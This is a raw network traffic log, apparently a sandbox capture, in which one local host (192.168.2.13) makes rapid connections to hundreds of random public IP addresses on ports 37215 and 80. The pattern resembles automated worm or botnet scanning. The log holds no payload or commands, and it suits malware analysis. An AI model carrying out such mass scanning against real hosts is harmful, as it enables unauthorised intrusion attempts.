Jan 5, 2025 14:35:00.058609009 CET	29479	37215	192.168.2.13	197.154.133.246
Jan 5, 2025 14:35:00.058609962 CET	37215	29479	197.161.58.243	192.168.2.13
Jan 5, 2025 14:35:00.058619976 CET	37215	29479	197.57.12.137	192.168.2.13
Jan 5, 2025 14:35:00.058629990 CET	37215	29479	41.223.10.250	192.168.2.13
Jan 5, 2025 14:35:00.058629990 CET	29479	37215	192.168.2.13	156.80.63.130
Jan 5, 2025 14:35:00.058631897 CET	29479	37215	192.168.2.13	156.157.122.238
Jan 5, 2025 14:35:00.058640957 CET	37215	29479	41.34.148.101	192.168.2.13
Jan 5, 2025 14:35:00.058649063 CET	29479	37215	192.168.2.13	197.161.58.243
Jan 5, 2025 14:35:00.058649063 CET	29479	37215	192.168.2.13	197.57.12.137
Jan 5, 2025 14:35:00.058650017 CET	37215	29479	41.129.74.123	192.168.2.13
Jan 5, 2025 14:35:00.058659077 CET	37215	29479	156.82.96.196	192.168.2.13
Jan 5, 2025 14:35:00.058667898 CET	37215	29479	156.231.158.135	192.168.2.13
Jan 5, 2025 14:35:00.058669090 CET	29479	37215	192.168.2.13	41.34.148.101
Jan 5, 2025 14:35:00.058676958 CET	29479	37215	192.168.2.13	41.223.10.250
Jan 5, 2025 14:35:00.058677912 CET	37215	29479	197.12.107.99	192.168.2.13
Jan 5, 2025 14:35:00.058677912 CET	29479	37215	192.168.2.13	41.129.74.123
Jan 5, 2025 14:35:00.058685064 CET	29479	37215	192.168.2.13	156.82.96.196
Jan 5, 2025 14:35:00.058690071 CET	37215	29479	197.146.183.60	192.168.2.13
Jan 5, 2025 14:35:00.058700085 CET	37215	29479	41.114.172.159	192.168.2.13
Jan 5, 2025 14:35:00.058700085 CET	29479	37215	192.168.2.13	156.231.158.135
Jan 5, 2025 14:35:00.058708906 CET	37215	29479	156.16.108.253	192.168.2.13
Jan 5, 2025 14:35:00.058717966 CET	37215	29479	41.120.62.89	192.168.2.13
Jan 5, 2025 14:35:00.058727980 CET	37215	29479	156.117.255.191	192.168.2.13
Jan 5, 2025 14:35:00.058731079 CET	29479	37215	192.168.2.13	197.12.107.99
Jan 5, 2025 14:35:00.058743954 CET	37215	29479	41.81.39.12	192.168.2.13
Jan 5, 2025 14:35:00.058744907 CET	29479	37215	192.168.2.13	41.114.172.159
Jan 5, 2025 14:35:00.058746099 CET	29479	37215	192.168.2.13	156.16.108.253
Jan 5, 2025 14:35:00.058753967 CET	37215	29479	41.158.158.92	192.168.2.13
Jan 5, 2025 14:35:00.058763981 CET	37215	29479	197.199.195.237	192.168.2.13
Jan 5, 2025 14:35:00.058767080 CET	29479	37215	192.168.2.13	41.120.62.89
Jan 5, 2025 14:35:00.058768034 CET	29479	37215	192.168.2.13	156.117.255.191
Jan 5, 2025 14:35:00.058779955 CET	29479	37215	192.168.2.13	41.81.39.12
Jan 5, 2025 14:35:00.058789015 CET	29479	37215	192.168.2.13	41.158.158.92
Jan 5, 2025 14:35:00.058794022 CET	29479	37215	192.168.2.13	197.146.183.60
Jan 5, 2025 14:35:00.058810949 CET	29479	37215	192.168.2.13	197.199.195.237
Jan 5, 2025 14:35:00.063086987 CET	37215	58980	197.78.8.202	192.168.2.13
Jan 5, 2025 14:35:00.063153982 CET	58980	37215	192.168.2.13	197.78.8.202
Jan 5, 2025 14:35:00.064548969 CET	59282	37215	192.168.2.13	156.245.190.4
Jan 5, 2025 14:35:00.069325924 CET	37215	59282	156.245.190.4	192.168.2.13
Jan 5, 2025 14:35:00.069397926 CET	59282	37215	192.168.2.13	156.245.190.4
Jan 5, 2025 14:35:00.072721004 CET	34820	37215	192.168.2.13	156.232.11.104
Jan 5, 2025 14:35:00.078377962 CET	40456	37215	192.168.2.13	156.62.255.186
Jan 5, 2025 14:35:00.080143929 CET	53270	80	192.168.2.13	107.209.39.169
Jan 5, 2025 14:35:00.080149889 CET	39506	37215	192.168.2.13	156.181.100.88
Jan 5, 2025 14:35:00.080153942 CET	38172	37215	192.168.2.13	197.248.33.225
Jan 5, 2025 14:35:00.080153942 CET	47084	37215	192.168.2.13	156.9.210.78
Jan 5, 2025 14:35:00.080153942 CET	56802	37215	192.168.2.13	197.207.91.55
Jan 5, 2025 14:35:00.080164909 CET	50634	37215	192.168.2.13	41.6.205.19
Jan 5, 2025 14:35:00.080164909 CET	57570	37215	192.168.2.13	197.58.3.169
Jan 5, 2025 14:35:00.080164909 CET	44688	37215	192.168.2.13	197.48.124.158
Jan 5, 2025 14:35:00.080168009 CET	60232	37215	192.168.2.13	197.235.84.193
Jan 5, 2025 14:35:00.080172062 CET	40496	37215	192.168.2.13	197.62.144.198
Jan 5, 2025 14:35:00.080172062 CET	46468	37215	192.168.2.13	156.148.195.46
Jan 5, 2025 14:35:00.080178976 CET	60726	37215	192.168.2.13	156.250.252.39
Jan 5, 2025 14:35:00.080178976 CET	58762	37215	192.168.2.13	156.89.199.243
Jan 5, 2025 14:35:00.080178976 CET	35598	37215	192.168.2.13	156.28.229.241
Jan 5, 2025 14:35:00.080178976 CET	58424	37215	192.168.2.13	41.198.56.163
Jan 5, 2025 14:35:00.080178976 CET	55270	37215	192.168.2.13	156.134.235.140
Jan 5, 2025 14:35:00.080192089 CET	43592	37215	192.168.2.13	156.156.80.80
Jan 5, 2025 14:35:00.080204964 CET	38826	37215	192.168.2.13	156.83.147.79
Jan 5, 2025 14:35:00.080205917 CET	46224	37215	192.168.2.13	41.99.15.83
Jan 5, 2025 14:35:00.083254099 CET	37215	40456	156.62.255.186	192.168.2.13
Jan 5, 2025 14:35:00.083319902 CET	40456	37215	192.168.2.13	156.62.255.186
Jan 5, 2025 14:35:00.084919930 CET	33738	37215	192.168.2.13	41.136.40.189
Jan 5, 2025 14:35:00.089750051 CET	37215	33738	41.136.40.189	192.168.2.13
Jan 5, 2025 14:35:00.089813948 CET	33738	37215	192.168.2.13	41.136.40.189
Jan 5, 2025 14:35:00.090055943 CET	36550	37215	192.168.2.13	156.75.208.51
Jan 5, 2025 14:35:00.097196102 CET	53648	37215	192.168.2.13	156.179.44.151
Jan 5, 2025 14:35:00.102016926 CET	37215	53648	156.179.44.151	192.168.2.13
Jan 5, 2025 14:35:00.109009027 CET	53648	37215	192.168.2.13	156.179.44.151
Jan 5, 2025 14:35:00.113069057 CET	39518	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:35:00.113070011 CET	52208	80	192.168.2.13	106.98.6.182
Jan 5, 2025 14:35:00.116153955 CET	57584	37215	192.168.2.13	156.117.234.170
Jan 5, 2025 14:35:00.116153955 CET	48736	37215	192.168.2.13	197.235.112.122
Jan 5, 2025 14:35:00.116163015 CET	57466	37215	192.168.2.13	41.246.117.207
Jan 5, 2025 14:35:00.116163015 CET	54254	37215	192.168.2.13	41.143.47.54
Jan 5, 2025 14:35:00.116163015 CET	52492	37215	192.168.2.13	197.253.42.3
Jan 5, 2025 14:35:00.116163015 CET	51412	37215	192.168.2.13	197.243.204.4
Jan 5, 2025 14:35:00.116164923 CET	33716	37215	192.168.2.13	41.225.46.131
Jan 5, 2025 14:35:00.116164923 CET	33920	37215	192.168.2.13	156.81.175.247
Jan 5, 2025 14:35:00.116169930 CET	33936	37215	192.168.2.13	156.189.69.239
Jan 5, 2025 14:35:00.116169930 CET	58854	37215	192.168.2.13	41.37.149.109
Jan 5, 2025 14:35:00.116169930 CET	58364	37215	192.168.2.13	41.254.227.229
Jan 5, 2025 14:35:00.117871046 CET	80	39518	133.206.206.122	192.168.2.13
Jan 5, 2025 14:35:00.120920897 CET	37215	57584	156.117.234.170	192.168.2.13
Jan 5, 2025 14:35:00.121305943 CET	57584	37215	192.168.2.13	156.117.234.170
Jan 5, 2025 14:35:00.121376991 CET	29477	80	192.168.2.13	79.178.241.86
Jan 5, 2025 14:35:00.121377945 CET	29477	80	192.168.2.13	149.172.95.249
Jan 5, 2025 14:35:00.121378899 CET	39518	80	192.168.2.13	133.206.206.122
Jan 5, 2025 14:35:00.121378899 CET	29477	80	192.168.2.13	179.126.36.55
Jan 5, 2025 14:35:00.121381998 CET	29477	80	192.168.2.13	200.90.255.130
Jan 5, 2025 14:35:00.121382952 CET	29477	80	192.168.2.13	142.100.155.215
Jan 5, 2025 14:35:00.121381998 CET	29477	80	192.168.2.13	64.35.228.234
Jan 5, 2025 14:35:00.121388912 CET	29477	80	192.168.2.13	221.248.77.34
Jan 5, 2025 14:35:00.121412992 CET	29477	80	192.168.2.13	208.39.135.186
Jan 5, 2025 14:35:00.121413946 CET	29477	80	192.168.2.13	116.166.90.71
Jan 5, 2025 14:35:00.121413946 CET	29477	80	192.168.2.13	20.31.76.248
Jan 5, 2025 14:35:00.121414900 CET	29477	80	192.168.2.13	209.43.107.171
Jan 5, 2025 14:35:00.121414900 CET	29477	80	192.168.2.13	134.153.200.226
Jan 5, 2025 14:35:00.121433020 CET	29477	80	192.168.2.13	169.251.204.62
Jan 5, 2025 14:35:00.121433020 CET	29477	80	192.168.2.13	65.152.227.123
Jan 5, 2025 14:35:00.121433973 CET	29477	80	192.168.2.13	178.23.179.120
Jan 5, 2025 14:35:00.121434927 CET	29477	80	192.168.2.13	90.98.126.254
Jan 5, 2025 14:35:00.121443033 CET	29477	80	192.168.2.13	219.222.141.6
Jan 5, 2025 14:35:00.121443987 CET	29477	80	192.168.2.13	82.211.188.188
Jan 5, 2025 14:35:00.121447086 CET	29477	80	192.168.2.13	14.36.105.137
Jan 5, 2025 14:35:00.121452093 CET	29477	80	192.168.2.13	125.182.165.122
Jan 5, 2025 14:35:00.121454000 CET	29477	80	192.168.2.13	122.46.202.238
Jan 5, 2025 14:35:00.121468067 CET	29477	80	192.168.2.13	101.84.81.4
Jan 5, 2025 14:35:00.121469021 CET	29477	80	192.168.2.13	110.158.251.202
Jan 5, 2025 14:35:00.121474028 CET	29477	80	192.168.2.13	78.234.137.66
Jan 5, 2025 14:35:00.121485949 CET	29477	80	192.168.2.13	65.250.210.89
Jan 5, 2025 14:35:00.121486902 CET	29477	80	192.168.2.13	142.99.171.40
Jan 5, 2025 14:35:00.121490955 CET	29477	80	192.168.2.13	165.104.203.207
Jan 5, 2025 14:35:00.121499062 CET	29477	80	192.168.2.13	88.206.48.112
Jan 5, 2025 14:35:00.121503115 CET	29477	80	192.168.2.13	25.153.197.145
Jan 5, 2025 14:35:00.121503115 CET	29477	80	192.168.2.13	93.180.123.50
Jan 5, 2025 14:35:00.121503115 CET	29477	80	192.168.2.13	164.122.133.154
Jan 5, 2025 14:35:00.121510029 CET	29477	80	192.168.2.13	197.61.112.1
Jan 5, 2025 14:35:00.121515036 CET	29477	80	192.168.2.13	54.216.199.90
Jan 5, 2025 14:35:00.121525049 CET	29477	80	192.168.2.13	115.196.99.160
Jan 5, 2025 14:35:00.121531010 CET	29477	80	192.168.2.13	173.96.186.29
Jan 5, 2025 14:35:00.121531010 CET	29477	80	192.168.2.13	146.165.120.227
Jan 5, 2025 14:35:00.121531010 CET	29477	80	192.168.2.13	210.83.175.22
Jan 5, 2025 14:35:00.121550083 CET	29477	80	192.168.2.13	159.193.151.163
Jan 5, 2025 14:35:00.121550083 CET	29477	80	192.168.2.13	72.102.3.238
Jan 5, 2025 14:35:00.121550083 CET	29477	80	192.168.2.13	38.84.227.88
Jan 5, 2025 14:35:00.121550083 CET	29477	80	192.168.2.13	223.104.204.222
Jan 5, 2025 14:35:00.121551991 CET	29477	80	192.168.2.13	13.67.245.92
Jan 5, 2025 14:35:00.121551991 CET	29477	80	192.168.2.13	126.76.143.222
Jan 5, 2025 14:35:00.121552944 CET	29477	80	192.168.2.13	213.93.90.31
Jan 5, 2025 14:35:00.121552944 CET	29477	80	192.168.2.13	70.219.118.175
Jan 5, 2025 14:35:00.121568918 CET	29477	80	192.168.2.13	195.59.158.208
Jan 5, 2025 14:35:00.121571064 CET	29477	80	192.168.2.13	150.93.46.142
Jan 5, 2025 14:35:00.121573925 CET	29477	80	192.168.2.13	27.230.101.3
Jan 5, 2025 14:35:00.121572971 CET	29477	80	192.168.2.13	143.232.25.96
Jan 5, 2025 14:35:00.121575117 CET	29477	80	192.168.2.13	123.148.183.157
Jan 5, 2025 14:35:00.121592045 CET	29477	80	192.168.2.13	74.35.167.13
Jan 5, 2025 14:35:00.121592999 CET	29477	80	192.168.2.13	59.14.30.96
Jan 5, 2025 14:35:00.121598959 CET	29477	80	192.168.2.13	183.65.149.135
Jan 5, 2025 14:35:00.121598959 CET	29477	80	192.168.2.13	122.65.218.216
Jan 5, 2025 14:35:00.121598959 CET	29477	80	192.168.2.13	201.139.142.189
Jan 5, 2025 14:35:00.121599913 CET	29477	80	192.168.2.13	83.221.192.222
Jan 5, 2025 14:35:00.121609926 CET	29477	80	192.168.2.13	133.181.149.24
Jan 5, 2025 14:35:00.121625900 CET	29477	80	192.168.2.13	154.17.159.226
Jan 5, 2025 14:35:00.121625900 CET	29477	80	192.168.2.13	66.115.200.201
Jan 5, 2025 14:35:00.121625900 CET	29477	80	192.168.2.13	223.208.83.70
Jan 5, 2025 14:35:00.121627092 CET	29477	80	192.168.2.13	4.212.156.150
Jan 5, 2025 14:35:00.121625900 CET	29477	80	192.168.2.13	8.98.169.132
Jan 5, 2025 14:35:00.121634960 CET	29477	80	192.168.2.13	2.239.225.14
Jan 5, 2025 14:35:00.121644974 CET	29477	80	192.168.2.13	104.117.85.124
Jan 5, 2025 14:35:00.121644974 CET	29477	80	192.168.2.13	107.69.127.207
Jan 5, 2025 14:35:00.121644974 CET	29477	80	192.168.2.13	202.122.88.42
Jan 5, 2025 14:35:00.121645927 CET	29477	80	192.168.2.13	130.23.150.217
Jan 5, 2025 14:35:00.121654034 CET	29477	80	192.168.2.13	37.58.28.248
Jan 5, 2025 14:35:00.121666908 CET	29477	80	192.168.2.13	122.105.123.90
Jan 5, 2025 14:35:00.121666908 CET	29477	80	192.168.2.13	122.62.10.9
Jan 5, 2025 14:35:00.121670961 CET	29477	80	192.168.2.13	130.91.104.44
Jan 5, 2025 14:35:00.121674061 CET	29477	80	192.168.2.13	201.233.227.33
Jan 5, 2025 14:35:00.121674061 CET	29477	80	192.168.2.13	105.246.218.113
Jan 5, 2025 14:35:00.121674061 CET	29477	80	192.168.2.13	47.163.112.206
Jan 5, 2025 14:35:00.121690035 CET	29477	80	192.168.2.13	182.129.160.168
Jan 5, 2025 14:35:00.121694088 CET	29477	80	192.168.2.13	45.128.84.209
Jan 5, 2025 14:35:00.121699095 CET	29477	80	192.168.2.13	78.87.167.83
Jan 5, 2025 14:35:00.121702909 CET	29477	80	192.168.2.13	82.106.44.9
Jan 5, 2025 14:35:00.121702909 CET	29477	80	192.168.2.13	101.118.68.12
Jan 5, 2025 14:35:00.121720076 CET	29477	80	192.168.2.13	142.216.15.10
Jan 5, 2025 14:35:00.121720076 CET	29477	80	192.168.2.13	65.132.80.243
Jan 5, 2025 14:35:00.121720076 CET	29477	80	192.168.2.13	157.127.87.25
Jan 5, 2025 14:35:00.121721983 CET	29477	80	192.168.2.13	91.47.242.119
Jan 5, 2025 14:35:00.121721983 CET	29477	80	192.168.2.13	117.134.41.30
Jan 5, 2025 14:35:00.121723890 CET	29477	80	192.168.2.13	100.58.121.238
Jan 5, 2025 14:35:00.121723890 CET	29477	80	192.168.2.13	132.160.164.113
Jan 5, 2025 14:35:00.121723890 CET	29477	80	192.168.2.13	170.218.99.254
Jan 5, 2025 14:35:00.121732950 CET	29477	80	192.168.2.13	60.109.196.154
Jan 5, 2025 14:35:00.121751070 CET	29477	80	192.168.2.13	77.57.236.11
Jan 5, 2025 14:35:00.121762037 CET	29477	80	192.168.2.13	169.94.108.101
Jan 5, 2025 14:35:00.121762037 CET	29477	80	192.168.2.13	83.218.116.217
Jan 5, 2025 14:35:00.121768951 CET	29477	80	192.168.2.13	87.135.67.143
Jan 5, 2025 14:35:00.121772051 CET	29477	80	192.168.2.13	197.140.53.68
Jan 5, 2025 14:35:00.121772051 CET	29477	80	192.168.2.13	83.161.159.131
Jan 5, 2025 14:35:00.121773005 CET	29477	80	192.168.2.13	84.156.32.133
Jan 5, 2025 14:35:00.121773005 CET	29477	80	192.168.2.13	18.59.201.71
Jan 5, 2025 14:35:00.121773958 CET	29477	80	192.168.2.13	137.233.166.157
Jan 5, 2025 14:35:00.121773958 CET	29477	80	192.168.2.13	118.147.7.180
Jan 5, 2025 14:35:00.121776104 CET	29477	80	192.168.2.13	135.20.54.35
Jan 5, 2025 14:35:00.121789932 CET	29477	80	192.168.2.13	134.57.29.51
Jan 5, 2025 14:35:00.121789932 CET	29477	80	192.168.2.13	86.22.114.41
Jan 5, 2025 14:35:00.121793985 CET	29477	80	192.168.2.13	213.52.135.66
Jan 5, 2025 14:35:00.121798038 CET	29477	80	192.168.2.13	199.140.169.192
Jan 5, 2025 14:35:00.121809959 CET	29477	80	192.168.2.13	103.30.140.100
Jan 5, 2025 14:35:00.121812105 CET	29477	80	192.168.2.13	163.37.180.118
Jan 5, 2025 14:35:00.121815920 CET	29477	80	192.168.2.13	166.177.216.202
Jan 5, 2025 14:35:00.121819019 CET	29477	80	192.168.2.13	54.33.57.184
Jan 5, 2025 14:35:00.121819019 CET	29477	80	192.168.2.13	73.68.109.51
Jan 5, 2025 14:35:00.121819019 CET	29477	80	192.168.2.13	121.144.79.9
Jan 5, 2025 14:35:00.121822119 CET	29477	80	192.168.2.13	20.105.226.49
Jan 5, 2025 14:35:00.121834040 CET	29477	80	192.168.2.13	149.127.81.251
Jan 5, 2025 14:35:00.121834040 CET	29477	80	192.168.2.13	113.158.71.89
Jan 5, 2025 14:35:00.121846914 CET	29477	80	192.168.2.13	48.28.2.178
Jan 5, 2025 14:35:00.121846914 CET	29477	80	192.168.2.13	157.139.235.0
Jan 5, 2025 14:35:00.121850967 CET	29477	80	192.168.2.13	145.83.237.4
Jan 5, 2025 14:35:00.121853113 CET	29477	80	192.168.2.13	177.150.173.136
Jan 5, 2025 14:35:00.121854067 CET	29477	80	192.168.2.13	155.45.240.9
Jan 5, 2025 14:35:00.121854067 CET	29477	80	192.168.2.13	23.102.72.47
Jan 5, 2025 14:35:00.121860027 CET	29477	80	192.168.2.13	146.32.174.89
Jan 5, 2025 14:35:00.121862888 CET	29477	80	192.168.2.13	158.153.172.56
Jan 5, 2025 14:35:00.121862888 CET	29477	80	192.168.2.13	84.156.163.98
Jan 5, 2025 14:35:00.121865988 CET	29477	80	192.168.2.13	126.222.43.241
Jan 5, 2025 14:35:00.121874094 CET	29477	80	192.168.2.13	117.185.171.204
Jan 5, 2025 14:35:00.121881962 CET	29477	80	192.168.2.13	2.226.177.220
Jan 5, 2025 14:35:00.121891022 CET	29477	80	192.168.2.13	132.54.212.89
Jan 5, 2025 14:35:00.121891975 CET	29477	80	192.168.2.13	45.116.88.73
Jan 5, 2025 14:35:00.121892929 CET	29477	80	192.168.2.13	81.153.64.96
Jan 5, 2025 14:35:00.121896029 CET	29477	80	192.168.2.13	183.143.82.122
Jan 5, 2025 14:35:00.121906042 CET	29477	80	192.168.2.13	35.10.253.30
Jan 5, 2025 14:35:00.121906042 CET	29477	80	192.168.2.13	151.216.86.121
Jan 5, 2025 14:35:00.121906996 CET	29477	80	192.168.2.13	185.122.137.115
Jan 5, 2025 14:35:00.121907949 CET	29477	80	192.168.2.13	57.169.81.193
Jan 5, 2025 14:35:00.121907949 CET	29477	80	192.168.2.13	188.39.105.191
Jan 5, 2025 14:35:00.121928930 CET	29477	80	192.168.2.13	17.141.127.238
Jan 5, 2025 14:35:00.121934891 CET	29477	80	192.168.2.13	74.9.103.203
Jan 5, 2025 14:35:00.121942043 CET	29477	80	192.168.2.13	166.109.103.3
Jan 5, 2025 14:35:00.121942997 CET	29477	80	192.168.2.13	183.2.159.39
Jan 5, 2025 14:35:00.121943951 CET	29477	80	192.168.2.13	111.232.203.177
Jan 5, 2025 14:35:00.121947050 CET	29477	80	192.168.2.13	198.182.75.141
Jan 5, 2025 14:35:00.121953964 CET	29477	80	192.168.2.13	59.223.253.83
Jan 5, 2025 14:35:00.121956110 CET	29477	80	192.168.2.13	140.182.253.83
Jan 5, 2025 14:35:00.121970892 CET	29477	80	192.168.2.13	135.23.210.37
Jan 5, 2025 14:35:00.121979952 CET	29477	80	192.168.2.13	174.224.127.233
Jan 5, 2025 14:35:00.121979952 CET	29477	80	192.168.2.13	161.216.29.158
Jan 5, 2025 14:35:00.121987104 CET	29477	80	192.168.2.13	174.234.152.134
Jan 5, 2025 14:35:00.121988058 CET	29477	80	192.168.2.13	99.223.218.182
Jan 5, 2025 14:35:00.122011900 CET	29477	80	192.168.2.13	109.61.74.104
Jan 5, 2025 14:35:00.122011900 CET	29477	80	192.168.2.13	204.133.4.75
Jan 5, 2025 14:35:00.122015953 CET	29477	80	192.168.2.13	119.60.23.36
Jan 5, 2025 14:35:00.122015953 CET	29477	80	192.168.2.13	41.11.25.68
Jan 5, 2025 14:35:00.122015953 CET	29477	80	192.168.2.13	19.203.138.45
Jan 5, 2025 14:35:00.122028112 CET	29477	80	192.168.2.13	206.28.166.25
Jan 5, 2025 14:35:00.122029066 CET	29477	80	192.168.2.13	105.156.195.186
Jan 5, 2025 14:35:00.122029066 CET	29477	80	192.168.2.13	165.201.255.80
Jan 5, 2025 14:35:00.122029066 CET	29477	80	192.168.2.13	46.121.198.193
Jan 5, 2025 14:35:00.122029066 CET	29477	80	192.168.2.13	66.72.149.251
Jan 5, 2025 14:35:00.122040033 CET	29477	80	192.168.2.13	48.195.90.24
Jan 5, 2025 14:35:00.122046947 CET	29477	80	192.168.2.13	92.130.189.161
Jan 5, 2025 14:35:00.122046947 CET	29477	80	192.168.2.13	68.184.244.53
Jan 5, 2025 14:35:00.122051954 CET	29477	80	192.168.2.13	142.247.75.2
Jan 5, 2025 14:35:00.122051954 CET	29477	80	192.168.2.13	221.229.92.231
Jan 5, 2025 14:35:00.122051954 CET	29477	80	192.168.2.13	97.40.76.63
Jan 5, 2025 14:35:00.122067928 CET	29477	80	192.168.2.13	98.233.119.16
Jan 5, 2025 14:35:00.122068882 CET	29477	80	192.168.2.13	82.236.123.185
Jan 5, 2025 14:35:00.122070074 CET	29477	80	192.168.2.13	223.198.57.45
Jan 5, 2025 14:35:00.122070074 CET	29477	80	192.168.2.13	167.188.210.1
Jan 5, 2025 14:35:00.122071028 CET	29477	80	192.168.2.13	13.119.116.146
Jan 5, 2025 14:35:00.122071028 CET	29477	80	192.168.2.13	86.93.72.141
Jan 5, 2025 14:35:00.122081041 CET	29477	80	192.168.2.13	80.140.127.4
Jan 5, 2025 14:35:00.122082949 CET	29477	80	192.168.2.13	5.217.149.157
Jan 5, 2025 14:35:00.122102022 CET	29477	80	192.168.2.13	61.179.121.219
Jan 5, 2025 14:35:00.122107029 CET	29477	80	192.168.2.13	47.28.244.151
Jan 5, 2025 14:35:00.122107029 CET	29477	80	192.168.2.13	216.110.165.11
Jan 5, 2025 14:35:00.122107029 CET	29477	80	192.168.2.13	135.9.204.249
Jan 5, 2025 14:35:00.122107983 CET	29477	80	192.168.2.13	146.121.11.89
Jan 5, 2025 14:35:00.122109890 CET	29477	80	192.168.2.13	106.28.75.66
Jan 5, 2025 14:35:00.122116089 CET	29477	80	192.168.2.13	12.203.23.4
Jan 5, 2025 14:35:00.122116089 CET	29477	80	192.168.2.13	60.154.143.92
Jan 5, 2025 14:35:00.122116089 CET	29477	80	192.168.2.13	131.244.9.73
Jan 5, 2025 14:35:00.122137070 CET	29477	80	192.168.2.13	37.243.66.29
Jan 5, 2025 14:35:00.122138977 CET	29477	80	192.168.2.13	106.71.206.135
Jan 5, 2025 14:35:00.122138977 CET	29477	80	192.168.2.13	202.149.65.144
Jan 5, 2025 14:35:00.122138977 CET	29477	80	192.168.2.13	34.208.81.196
Jan 5, 2025 14:35:00.122138977 CET	29477	80	192.168.2.13	87.30.40.65
Jan 5, 2025 14:35:00.122143984 CET	29477	80	192.168.2.13	221.211.213.218
Jan 5, 2025 14:35:00.122148037 CET	29477	80	192.168.2.13	108.179.210.249
Jan 5, 2025 14:35:00.122155905 CET	29477	80	192.168.2.13	173.19.82.107
Jan 5, 2025 14:35:00.122157097 CET	29477	80	192.168.2.13	223.150.105.130
Jan 5, 2025 14:35:00.122157097 CET	29477	80	192.168.2.13	129.102.153.40
Jan 5, 2025 14:35:00.122160912 CET	29477	80	192.168.2.13	207.49.250.118
Jan 5, 2025 14:35:00.122160912 CET	29477	80	192.168.2.13	108.69.36.227
Jan 5, 2025 14:35:00.122164011 CET	29477	80	192.168.2.13	47.90.114.82
Jan 5, 2025 14:35:00.122165918 CET	29477	80	192.168.2.13	37.169.148.60
Jan 5, 2025 14:35:00.122179985 CET	29477	80	192.168.2.13	135.156.235.8
Jan 5, 2025 14:35:00.122189045 CET	29477	80	192.168.2.13	185.78.5.90
Jan 5, 2025 14:35:00.122189045 CET	29477	80	192.168.2.13	93.53.231.252
Jan 5, 2025 14:35:00.122193098 CET	29477	80	192.168.2.13	217.8.145.163
Jan 5, 2025 14:35:00.122193098 CET	29477	80	192.168.2.13	177.32.151.207
Jan 5, 2025 14:35:00.122194052 CET	29477	80	192.168.2.13	20.195.50.179
Jan 5, 2025 14:35:00.122194052 CET	29477	80	192.168.2.13	4.108.123.252
Jan 5, 2025 14:35:00.122195959 CET	29477	80	192.168.2.13	34.82.97.154
Jan 5, 2025 14:35:00.122211933 CET	29477	80	192.168.2.13	173.219.147.208
Jan 5, 2025 14:35:00.122211933 CET	29477	80	192.168.2.13	124.253.66.27
Jan 5, 2025 14:35:00.122212887 CET	29477	80	192.168.2.13	110.44.47.212
Jan 5, 2025 14:35:00.122215033 CET	29477	80	192.168.2.13	212.29.136.205
Jan 5, 2025 14:35:00.122212887 CET	29477	80	192.168.2.13	49.152.122.229
Jan 5, 2025 14:35:00.122211933 CET	29477	80	192.168.2.13	99.45.78.189
Jan 5, 2025 14:35:00.122212887 CET	29477	80	192.168.2.13	89.37.148.169
Jan 5, 2025 14:35:00.122225046 CET	29477	80	192.168.2.13	197.177.17.40
Jan 5, 2025 14:35:00.122225046 CET	29477	80	192.168.2.13	5.201.8.110
Jan 5, 2025 14:35:00.122236967 CET	29477	80	192.168.2.13	202.68.44.212
Jan 5, 2025 14:35:00.122246027 CET	29477	80	192.168.2.13	132.67.154.161
Jan 5, 2025 14:35:00.122251987 CET	29477	80	192.168.2.13	63.17.92.194
Jan 5, 2025 14:35:00.122261047 CET	29477	80	192.168.2.13	148.216.238.72
Jan 5, 2025 14:35:00.122261047 CET	29477	80	192.168.2.13	60.46.97.30
Jan 5, 2025 14:35:00.122262955 CET	29477	80	192.168.2.13	23.145.10.95
Jan 5, 2025 14:35:00.122262955 CET	29477	80	192.168.2.13	191.29.135.64
Jan 5, 2025 14:35:00.122282028 CET	29477	80	192.168.2.13	205.164.215.241
Jan 5, 2025 14:35:00.122282028 CET	29477	80	192.168.2.13	133.185.21.183
Jan 5, 2025 14:35:00.122283936 CET	29477	80	192.168.2.13	82.78.91.95
Jan 5, 2025 14:35:00.122283936 CET	29477	80	192.168.2.13	176.224.167.179
Jan 5, 2025 14:35:00.122291088 CET	29477	80	192.168.2.13	210.248.34.0
Jan 5, 2025 14:35:00.122294903 CET	29477	80	192.168.2.13	78.61.176.115
Jan 5, 2025 14:35:00.122315884 CET	29477	80	192.168.2.13	222.14.86.79
Jan 5, 2025 14:35:00.122335911 CET	29477	80	192.168.2.13	23.52.221.76
Jan 5, 2025 14:35:00.122344971 CET	29477	80	192.168.2.13	217.216.191.24
Jan 5, 2025 14:35:00.122344971 CET	29477	80	192.168.2.13	59.248.193.242
Jan 5, 2025 14:35:00.122344971 CET	29477	80	192.168.2.13	31.206.113.201
Jan 5, 2025 14:35:00.122344971 CET	29477	80	192.168.2.13	1.102.52.29
Jan 5, 2025 14:35:00.122347116 CET	29477	80	192.168.2.13	175.229.16.171
Jan 5, 2025 14:35:00.122347116 CET	29477	80	192.168.2.13	142.211.233.9
Jan 5, 2025 14:35:00.122351885 CET	29477	80	192.168.2.13	191.15.187.69
Jan 5, 2025 14:35:00.122351885 CET	29477	80	192.168.2.13	156.194.87.184
Jan 5, 2025 14:35:00.122351885 CET	29477	80	192.168.2.13	105.231.105.168
Jan 5, 2025 14:35:00.122364044 CET	29477	80	192.168.2.13	24.128.247.98
Jan 5, 2025 14:35:00.122364044 CET	29477	80	192.168.2.13	117.142.174.222
Jan 5, 2025 14:35:00.122366905 CET	29477	80	192.168.2.13	68.160.60.179
Jan 5, 2025 14:35:00.122370958 CET	29477	80	192.168.2.13	147.31.216.1
Jan 5, 2025 14:35:00.122370958 CET	29477	80	192.168.2.13	126.115.15.161
Jan 5, 2025 14:35:00.122370958 CET	29477	80	192.168.2.13	60.168.176.84
Jan 5, 2025 14:35:00.122370958 CET	29477	80	192.168.2.13	197.195.176.42
Jan 5, 2025 14:35:00.122371912 CET	29477	80	192.168.2.13	117.24.5.130
Jan 5, 2025 14:35:00.122374058 CET	29477	80	192.168.2.13	23.69.192.63
Jan 5, 2025 14:35:00.122387886 CET	29477	80	192.168.2.13	195.151.228.216
Jan 5, 2025 14:35:00.122395992 CET	29477	80	192.168.2.13	133.78.166.233
Jan 5, 2025 14:35:00.122396946 CET	29477	80	192.168.2.13	32.12.49.156
Jan 5, 2025 14:35:00.122400045 CET	29477	80	192.168.2.13	13.129.71.149
Jan 5, 2025 14:35:00.122400999 CET	29477	80	192.168.2.13	75.160.197.1
Jan 5, 2025 14:35:00.122406006 CET	29477	80	192.168.2.13	166.223.225.95
Jan 5, 2025 14:35:00.122412920 CET	29477	80	192.168.2.13	147.213.151.201
Jan 5, 2025 14:35:00.122416019 CET	29477	80	192.168.2.13	100.52.37.93
Jan 5, 2025 14:35:00.122416973 CET	29477	80	192.168.2.13	172.162.79.255
